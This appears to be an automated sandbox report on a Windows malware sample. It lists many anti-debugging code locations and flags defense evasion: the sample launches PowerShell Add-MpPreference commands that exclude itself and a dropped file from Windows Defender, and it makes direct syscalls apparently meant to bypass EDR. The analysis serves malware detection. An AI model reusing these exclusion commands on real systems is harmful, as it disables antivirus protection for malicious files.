            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012666B0 mov eax, dword ptr fs:[00000030h]9_2_012666B0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01234690 mov eax, dword ptr fs:[00000030h]9_2_01234690
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01234690 mov eax, dword ptr fs:[00000030h]9_2_01234690
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE6F2 mov eax, dword ptr fs:[00000030h]9_2_012AE6F2
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE6F2 mov eax, dword ptr fs:[00000030h]9_2_012AE6F2
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE6F2 mov eax, dword ptr fs:[00000030h]9_2_012AE6F2
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE6F2 mov eax, dword ptr fs:[00000030h]9_2_012AE6F2
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B06F1 mov eax, dword ptr fs:[00000030h]9_2_012B06F1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B06F1 mov eax, dword ptr fs:[00000030h]9_2_012B06F1
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A6C7 mov ebx, dword ptr fs:[00000030h]9_2_0126A6C7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A6C7 mov eax, dword ptr fs:[00000030h]9_2_0126A6C7
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B892A mov eax, dword ptr fs:[00000030h]9_2_012B892A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C892B mov eax, dword ptr fs:[00000030h]9_2_012C892B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE908 mov eax, dword ptr fs:[00000030h]9_2_012AE908
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AE908 mov eax, dword ptr fs:[00000030h]9_2_012AE908
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BC912 mov eax, dword ptr fs:[00000030h]9_2_012BC912
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01228918 mov eax, dword ptr fs:[00000030h]9_2_01228918
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01228918 mov eax, dword ptr fs:[00000030h]9_2_01228918
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01256962 mov eax, dword ptr fs:[00000030h]9_2_01256962
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01256962 mov eax, dword ptr fs:[00000030h]9_2_01256962
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01256962 mov eax, dword ptr fs:[00000030h]9_2_01256962
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0127096E mov eax, dword ptr fs:[00000030h]9_2_0127096E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0127096E mov edx, dword ptr fs:[00000030h]9_2_0127096E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0127096E mov eax, dword ptr fs:[00000030h]9_2_0127096E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D4978 mov eax, dword ptr fs:[00000030h]9_2_012D4978
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D4978 mov eax, dword ptr fs:[00000030h]9_2_012D4978
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BC97C mov eax, dword ptr fs:[00000030h]9_2_012BC97C
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B0946 mov eax, dword ptr fs:[00000030h]9_2_012B0946
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304940 mov eax, dword ptr fs:[00000030h]9_2_01304940
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012429A0 mov eax, dword ptr fs:[00000030h]9_2_012429A0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012309AD mov eax, dword ptr fs:[00000030h]9_2_012309AD
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012309AD mov eax, dword ptr fs:[00000030h]9_2_012309AD
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B89B3 mov esi, dword ptr fs:[00000030h]9_2_012B89B3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B89B3 mov eax, dword ptr fs:[00000030h]9_2_012B89B3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012B89B3 mov eax, dword ptr fs:[00000030h]9_2_012B89B3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BE9E0 mov eax, dword ptr fs:[00000030h]9_2_012BE9E0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012629F9 mov eax, dword ptr fs:[00000030h]9_2_012629F9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012629F9 mov eax, dword ptr fs:[00000030h]9_2_012629F9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C69C0 mov eax, dword ptr fs:[00000030h]9_2_012C69C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A9D0 mov eax, dword ptr fs:[00000030h]9_2_0123A9D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A9D0 mov eax, dword ptr fs:[00000030h]9_2_0123A9D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A9D0 mov eax, dword ptr fs:[00000030h]9_2_0123A9D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A9D0 mov eax, dword ptr fs:[00000030h]9_2_0123A9D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A9D0 mov eax, dword ptr fs:[00000030h]9_2_0123A9D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123A9D0 mov eax, dword ptr fs:[00000030h]9_2_0123A9D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012649D0 mov eax, dword ptr fs:[00000030h]9_2_012649D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FA9D3 mov eax, dword ptr fs:[00000030h]9_2_012FA9D3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01252835 mov eax, dword ptr fs:[00000030h]9_2_01252835
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01252835 mov eax, dword ptr fs:[00000030h]9_2_01252835
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01252835 mov eax, dword ptr fs:[00000030h]9_2_01252835
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01252835 mov ecx, dword ptr fs:[00000030h]9_2_01252835
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01252835 mov eax, dword ptr fs:[00000030h]9_2_01252835
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01252835 mov eax, dword ptr fs:[00000030h]9_2_01252835
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126A830 mov eax, dword ptr fs:[00000030h]9_2_0126A830
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D483A mov eax, dword ptr fs:[00000030h]9_2_012D483A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D483A mov eax, dword ptr fs:[00000030h]9_2_012D483A
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BC810 mov eax, dword ptr fs:[00000030h]9_2_012BC810
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BE872 mov eax, dword ptr fs:[00000030h]9_2_012BE872
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BE872 mov eax, dword ptr fs:[00000030h]9_2_012BE872
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C6870 mov eax, dword ptr fs:[00000030h]9_2_012C6870
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C6870 mov eax, dword ptr fs:[00000030h]9_2_012C6870
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01242840 mov ecx, dword ptr fs:[00000030h]9_2_01242840
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01260854 mov eax, dword ptr fs:[00000030h]9_2_01260854
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01234859 mov eax, dword ptr fs:[00000030h]9_2_01234859
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01234859 mov eax, dword ptr fs:[00000030h]9_2_01234859
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01230887 mov eax, dword ptr fs:[00000030h]9_2_01230887
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BC89D mov eax, dword ptr fs:[00000030h]9_2_012BC89D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FA8E4 mov eax, dword ptr fs:[00000030h]9_2_012FA8E4
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126C8F9 mov eax, dword ptr fs:[00000030h]9_2_0126C8F9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126C8F9 mov eax, dword ptr fs:[00000030h]9_2_0126C8F9
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125E8C0 mov eax, dword ptr fs:[00000030h]9_2_0125E8C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_013008C0 mov eax, dword ptr fs:[00000030h]9_2_013008C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125EB20 mov eax, dword ptr fs:[00000030h]9_2_0125EB20
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125EB20 mov eax, dword ptr fs:[00000030h]9_2_0125EB20
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F8B28 mov eax, dword ptr fs:[00000030h]9_2_012F8B28
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F8B28 mov eax, dword ptr fs:[00000030h]9_2_012F8B28
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304B00 mov eax, dword ptr fs:[00000030h]9_2_01304B00
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012AEB1D mov eax, dword ptr fs:[00000030h]9_2_012AEB1D
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0122CB7E mov eax, dword ptr fs:[00000030h]9_2_0122CB7E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E4B4B mov eax, dword ptr fs:[00000030h]9_2_012E4B4B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E4B4B mov eax, dword ptr fs:[00000030h]9_2_012E4B4B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01302B57 mov eax, dword ptr fs:[00000030h]9_2_01302B57
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01302B57 mov eax, dword ptr fs:[00000030h]9_2_01302B57
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01302B57 mov eax, dword ptr fs:[00000030h]9_2_01302B57
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01302B57 mov eax, dword ptr fs:[00000030h]9_2_01302B57
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C6B40 mov eax, dword ptr fs:[00000030h]9_2_012C6B40
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C6B40 mov eax, dword ptr fs:[00000030h]9_2_012C6B40
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012FAB40 mov eax, dword ptr fs:[00000030h]9_2_012FAB40
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012D8B42 mov eax, dword ptr fs:[00000030h]9_2_012D8B42
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DEB50 mov eax, dword ptr fs:[00000030h]9_2_012DEB50
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240BBE mov eax, dword ptr fs:[00000030h]9_2_01240BBE
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240BBE mov eax, dword ptr fs:[00000030h]9_2_01240BBE
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E4BB0 mov eax, dword ptr fs:[00000030h]9_2_012E4BB0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012E4BB0 mov eax, dword ptr fs:[00000030h]9_2_012E4BB0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01238BF0 mov eax, dword ptr fs:[00000030h]9_2_01238BF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01238BF0 mov eax, dword ptr fs:[00000030h]9_2_01238BF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01238BF0 mov eax, dword ptr fs:[00000030h]9_2_01238BF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125EBFC mov eax, dword ptr fs:[00000030h]9_2_0125EBFC
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BCBF0 mov eax, dword ptr fs:[00000030h]9_2_012BCBF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01250BCB mov eax, dword ptr fs:[00000030h]9_2_01250BCB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01250BCB mov eax, dword ptr fs:[00000030h]9_2_01250BCB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01250BCB mov eax, dword ptr fs:[00000030h]9_2_01250BCB
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01230BCD mov eax, dword ptr fs:[00000030h]9_2_01230BCD
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01230BCD mov eax, dword ptr fs:[00000030h]9_2_01230BCD
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01230BCD mov eax, dword ptr fs:[00000030h]9_2_01230BCD
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DEBD0 mov eax, dword ptr fs:[00000030h]9_2_012DEBD0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126CA24 mov eax, dword ptr fs:[00000030h]9_2_0126CA24
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0125EA2E mov eax, dword ptr fs:[00000030h]9_2_0125EA2E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01254A35 mov eax, dword ptr fs:[00000030h]9_2_01254A35
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01254A35 mov eax, dword ptr fs:[00000030h]9_2_01254A35
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126CA38 mov eax, dword ptr fs:[00000030h]9_2_0126CA38
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012BCA11 mov eax, dword ptr fs:[00000030h]9_2_012BCA11
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126CA6F mov eax, dword ptr fs:[00000030h]9_2_0126CA6F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126CA6F mov eax, dword ptr fs:[00000030h]9_2_0126CA6F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126CA6F mov eax, dword ptr fs:[00000030h]9_2_0126CA6F
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DEA60 mov eax, dword ptr fs:[00000030h]9_2_012DEA60
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012ACA72 mov eax, dword ptr fs:[00000030h]9_2_012ACA72
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012ACA72 mov eax, dword ptr fs:[00000030h]9_2_012ACA72
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236A50 mov eax, dword ptr fs:[00000030h]9_2_01236A50
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236A50 mov eax, dword ptr fs:[00000030h]9_2_01236A50
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236A50 mov eax, dword ptr fs:[00000030h]9_2_01236A50
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236A50 mov eax, dword ptr fs:[00000030h]9_2_01236A50
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236A50 mov eax, dword ptr fs:[00000030h]9_2_01236A50
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236A50 mov eax, dword ptr fs:[00000030h]9_2_01236A50
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01236A50 mov eax, dword ptr fs:[00000030h]9_2_01236A50
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240A5B mov eax, dword ptr fs:[00000030h]9_2_01240A5B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01240A5B mov eax, dword ptr fs:[00000030h]9_2_01240A5B
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01238AA0 mov eax, dword ptr fs:[00000030h]9_2_01238AA0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01238AA0 mov eax, dword ptr fs:[00000030h]9_2_01238AA0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01286AA4 mov eax, dword ptr fs:[00000030h]9_2_01286AA4
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0123EA80 mov eax, dword ptr fs:[00000030h]9_2_0123EA80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01304A80 mov eax, dword ptr fs:[00000030h]9_2_01304A80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01268A90 mov edx, dword ptr fs:[00000030h]9_2_01268A90
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126AAEE mov eax, dword ptr fs:[00000030h]9_2_0126AAEE
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0126AAEE mov eax, dword ptr fs:[00000030h]9_2_0126AAEE
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01286ACC mov eax, dword ptr fs:[00000030h]9_2_01286ACC
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01286ACC mov eax, dword ptr fs:[00000030h]9_2_01286ACC
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01286ACC mov eax, dword ptr fs:[00000030h]9_2_01286ACC
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01230AD0 mov eax, dword ptr fs:[00000030h]9_2_01230AD0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory allocated: page read and write | page guardJump to behavior

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Adds a directory exclusion to Windows Defender
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"Jump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"Jump to behavior
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtWriteVirtualMemory: Direct from: 0x77762E3C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtMapViewOfSection: Direct from: 0x77762D1C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtNotifyChangeKey: Direct from: 0x77763C2C
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtCreateMutant: Direct from: 0x777635CC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtResumeThread: Direct from: 0x777636AC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtProtectVirtualMemory: Direct from: 0x77757B2E
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtQuerySystemInformation: Direct from: 0x77762DFC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtAllocateVirtualMemory: Direct from: 0x77762BFC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtReadFile: Direct from: 0x77762ADC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtDelayExecution: Direct from: 0x77762DDC
            Source: C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exeNtWriteVirtualMemory: Direct from: 0x7776490C
